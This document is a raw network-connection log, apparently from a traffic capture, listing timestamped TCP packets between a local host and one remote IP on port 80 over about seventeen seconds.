Jan 1, 2025 15:19:30.529092073 CET	50202	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:30.531183958 CET	80	50201	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:30.533938885 CET	80	50202	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:30.533972979 CET	50201	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:30.537225008 CET	50202	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:30.537225008 CET	50202	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:30.542031050 CET	80	50202	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:30.889422894 CET	50202	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:30.894284010 CET	80	50202	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:31.026750088 CET	80	50202	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:31.108098984 CET	50202	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:31.200365067 CET	80	50202	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:31.311291933 CET	50202	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:31.322905064 CET	50202	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:31.322907925 CET	50203	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:31.327708960 CET	80	50203	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:31.327830076 CET	80	50202	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:31.327919960 CET	50202	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:31.327923059 CET	50203	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:31.328056097 CET	50203	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:31.332798004 CET	80	50203	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:31.686284065 CET	50203	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:31.691102028 CET	80	50203	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:31.788563013 CET	80	50203	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:31.842463970 CET	50203	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.054907084 CET	80	50203	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:32.108069897 CET	50203	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.185408115 CET	50203	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.186460018 CET	50204	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.190435886 CET	80	50203	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:32.190481901 CET	50203	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.191282034 CET	80	50204	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:32.191343069 CET	50204	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.191529989 CET	50204	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.196338892 CET	80	50204	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:32.545625925 CET	50204	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.550450087 CET	80	50204	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:32.655158997 CET	80	50204	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:32.811247110 CET	50204	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.822348118 CET	80	50204	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:32.948415995 CET	50204	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.949476957 CET	50205	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.953414917 CET	80	50204	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:32.953577995 CET	50204	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.954320908 CET	80	50205	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:32.954530954 CET	50205	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.954787016 CET	50205	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:32.959585905 CET	80	50205	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:33.311963081 CET	50205	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:33.316935062 CET	80	50205	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:33.417427063 CET	80	50205	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:33.469077110 CET	50205	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:33.686166048 CET	80	50205	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:33.701603889 CET	50206	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:33.706787109 CET	80	50206	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:33.706850052 CET	50206	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:33.706978083 CET	50206	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:33.711683989 CET	80	50206	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:33.733872890 CET	50205	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:33.813126087 CET	50207	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:33.817941904 CET	80	50207	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:33.818001032 CET	50207	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:33.818131924 CET	50207	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:33.822874069 CET	80	50207	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:34.061320066 CET	50206	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.066083908 CET	80	50206	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:34.066288948 CET	80	50206	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:34.151199102 CET	80	50206	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:34.171453953 CET	50207	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.176316023 CET	80	50207	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:34.201805115 CET	50206	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.261887074 CET	80	50207	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:34.404932976 CET	50207	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.441277027 CET	80	50207	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:34.444474936 CET	80	50206	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:34.498686075 CET	50206	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.514386892 CET	50207	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.556288958 CET	50206	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.556298971 CET	50205	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.556380033 CET	50207	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.557046890 CET	50208	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.561296940 CET	80	50206	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:34.561760902 CET	80	50205	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:34.561770916 CET	80	50207	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:34.561839104 CET	50206	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.561855078 CET	50205	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.561877966 CET	80	50208	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:34.561927080 CET	50207	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.561980009 CET	50208	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.562040091 CET	50208	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.566814899 CET	80	50208	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:34.920631886 CET	50208	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:34.925467014 CET	80	50208	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:35.052772045 CET	80	50208	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:35.201824903 CET	50208	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:35.234550953 CET	80	50208	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:35.311187029 CET	50208	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:35.353921890 CET	50208	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:35.357053995 CET	50209	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:35.358855963 CET	80	50208	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:35.359087944 CET	50208	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:35.361998081 CET	80	50209	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:35.364952087 CET	50209	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:35.365164042 CET	50209	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:35.369971991 CET	80	50209	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:35.717551947 CET	50209	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:35.722599030 CET	80	50209	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:35.812644005 CET	80	50209	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:35.858062029 CET	50209	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:35.989701986 CET	80	50209	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:36.054399014 CET	50209	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:36.312925100 CET	50209	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:36.317863941 CET	80	50209	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:36.317928076 CET	50209	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:36.322427034 CET	50210	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:36.327220917 CET	80	50210	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:36.327291965 CET	50210	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:36.332066059 CET	50210	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:36.336929083 CET	80	50210	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:36.686352968 CET	50210	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:36.691158056 CET	80	50210	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:36.780253887 CET	80	50210	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:36.829041004 CET	50210	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:36.987483978 CET	80	50210	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:37.033040047 CET	50210	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.112318993 CET	50210	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.112323046 CET	50211	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.117228031 CET	80	50211	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:37.117327929 CET	50211	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.117400885 CET	80	50210	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:37.117432117 CET	50211	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.118231058 CET	50210	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.122189999 CET	80	50211	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:37.469073057 CET	50211	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.474265099 CET	80	50211	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:37.562342882 CET	80	50211	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:37.701798916 CET	50211	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.741821051 CET	80	50211	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:37.811182976 CET	50211	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.854988098 CET	50211	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.855802059 CET	50212	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.859975100 CET	80	50211	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:37.860023975 CET	50211	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.860625982 CET	80	50212	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:37.860688925 CET	50212	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.860793114 CET	50212	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:37.865571976 CET	80	50212	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:38.217562914 CET	50212	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:38.222387075 CET	80	50212	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:38.324178934 CET	80	50212	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:38.373666048 CET	50212	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:38.577155113 CET	80	50212	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:38.623665094 CET	50212	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:38.666774988 CET	80	50212	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:38.721026897 CET	50212	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:38.791194916 CET	50212	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:38.793041945 CET	50213	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:38.796209097 CET	80	50212	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:38.796478987 CET	50212	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:38.797930956 CET	80	50213	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:38.802153111 CET	50213	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:38.802515030 CET	50213	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:38.807261944 CET	80	50213	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:39.156719923 CET	50213	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:39.161607981 CET	80	50213	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:39.296972990 CET	80	50213	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:39.453028917 CET	50214	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:39.453288078 CET	50213	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:39.457880974 CET	80	50214	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:39.458338976 CET	80	50213	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:39.458435059 CET	50214	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:39.458442926 CET	50213	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:39.458563089 CET	50214	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:39.463289976 CET	80	50214	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:39.576010942 CET	50215	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:39.580873966 CET	80	50215	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:39.580969095 CET	50215	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:39.581089020 CET	50215	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:39.585827112 CET	80	50215	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:39.811284065 CET	50214	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:39.816188097 CET	80	50214	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:39.816293955 CET	80	50214	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:39.936609983 CET	50215	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:39.941621065 CET	80	50215	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:39.953545094 CET	80	50214	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:40.014292002 CET	50214	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:40.036237955 CET	80	50215	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:40.076793909 CET	50215	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:40.212054968 CET	80	50214	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:40.282207012 CET	50214	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:40.298517942 CET	80	50215	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:40.342448950 CET	50215	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:40.392196894 CET	80	50215	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:40.436158895 CET	50215	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:40.533715010 CET	50214	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:40.533724070 CET	50215	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:40.534584045 CET	50216	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:40.538690090 CET	80	50214	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:40.538964033 CET	80	50215	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:40.539033890 CET	50214	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:40.539036989 CET	50215	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:40.539429903 CET	80	50216	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:40.539555073 CET	50216	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:40.539633036 CET	50216	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:40.544357061 CET	80	50216	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:40.893028021 CET	50216	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:40.897882938 CET	80	50216	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:41.029563904 CET	80	50216	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:41.192930937 CET	80	50216	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:41.193036079 CET	50216	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:41.306037903 CET	50216	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:41.306824923 CET	50217	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:41.311146975 CET	80	50216	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:41.311269999 CET	50216	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:41.311578989 CET	80	50217	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:41.311853886 CET	50217	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:41.311948061 CET	50217	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:41.316672087 CET	80	50217	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:41.670631886 CET	50217	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:41.675417900 CET	80	50217	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:41.759910107 CET	80	50217	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:41.811147928 CET	50217	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.014561892 CET	80	50217	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:42.061156988 CET	50217	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.135262012 CET	50217	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.135850906 CET	50218	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.251121044 CET	80	50217	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:42.251133919 CET	80	50218	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:42.251142979 CET	80	50217	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:42.251178026 CET	50217	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.251204014 CET	50218	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.251230955 CET	50217	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.251396894 CET	50218	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.256938934 CET	80	50218	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:42.608464956 CET	50218	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.613359928 CET	80	50218	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:42.715404034 CET	80	50218	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:42.764276981 CET	50218	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.878293991 CET	80	50218	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:42.921009064 CET	50218	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.993711948 CET	50218	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.994518995 CET	50219	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.998792887 CET	80	50218	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:42.998862982 CET	50218	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.999346018 CET	80	50219	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:42.999424934 CET	50219	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:42.999602079 CET	50219	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:43.004547119 CET	80	50219	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:43.358244896 CET	50219	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:43.363183975 CET	80	50219	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:43.472467899 CET	80	50219	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:43.608053923 CET	50219	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:43.644165039 CET	80	50219	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:43.748749018 CET	50219	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:43.762372017 CET	50219	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:43.763304949 CET	50220	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:43.767376900 CET	80	50219	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:43.767448902 CET	50219	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:43.768090010 CET	80	50220	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:43.768163919 CET	50220	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:43.768279076 CET	50220	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:43.773171902 CET	80	50220	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:44.123734951 CET	50220	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:44.128585100 CET	80	50220	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:44.241653919 CET	80	50220	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:44.295526028 CET	50220	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:44.492750883 CET	80	50220	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:44.545519114 CET	50220	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:44.619261026 CET	50220	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:44.621006966 CET	50221	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:44.624258041 CET	80	50220	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:44.625058889 CET	50220	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:44.625901937 CET	80	50221	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:44.625989914 CET	50221	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:44.629009008 CET	50221	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:44.633835077 CET	80	50221	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:44.985018969 CET	50221	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:44.989907026 CET	80	50221	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:45.082859039 CET	80	50221	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:45.177215099 CET	50221	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:45.218647003 CET	50221	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:45.218647957 CET	50222	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:45.223462105 CET	80	50222	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:45.223587990 CET	50222	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:45.223659039 CET	50222	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:45.223675013 CET	80	50221	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:45.228432894 CET	80	50222	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:45.228461981 CET	50221	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:45.349006891 CET	50223	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:45.353854895 CET	80	50223	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:45.353935957 CET	50223	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:45.354044914 CET	50223	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:45.358781099 CET	80	50223	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:45.576855898 CET	50222	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:45.581773996 CET	80	50222	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:45.581962109 CET	80	50222	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:45.670289040 CET	80	50222	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:45.701853991 CET	50223	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:45.708338022 CET	80	50223	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:45.750833988 CET	50222	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:45.807986021 CET	80	50223	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:45.858016014 CET	50223	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:45.937683105 CET	80	50222	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:45.981333971 CET	80	50223	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:46.029880047 CET	50223	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.069749117 CET	50222	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.108068943 CET	50222	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.108197927 CET	50223	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.109318972 CET	50224	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.113229036 CET	80	50222	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:46.113276005 CET	50222	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.113687038 CET	80	50223	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:46.113754988 CET	50223	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.114095926 CET	80	50224	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:46.114156008 CET	50224	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.114280939 CET	50224	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.119077921 CET	80	50224	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:46.467463017 CET	50224	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.472429037 CET	80	50224	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:46.558135986 CET	80	50224	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:46.609004021 CET	50224	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.839421988 CET	80	50224	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:46.891016006 CET	50224	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.963186979 CET	50224	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.967076063 CET	50225	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.968216896 CET	80	50224	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:46.971246958 CET	50224	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.971919060 CET	80	50225	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:46.975152969 CET	50225	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.975152969 CET	50225	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:46.979964972 CET	80	50225	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:47.326993942 CET	50225	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:47.331945896 CET	80	50225	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:47.444550991 CET	80	50225	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:47.514991045 CET	50225	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:47.691226006 CET	80	50225	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:47.761820078 CET	50225	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:47.809191942 CET	50225	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:47.809890985 CET	50226	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:47.814204931 CET	80	50225	104.21.38.84	192.168.2.4
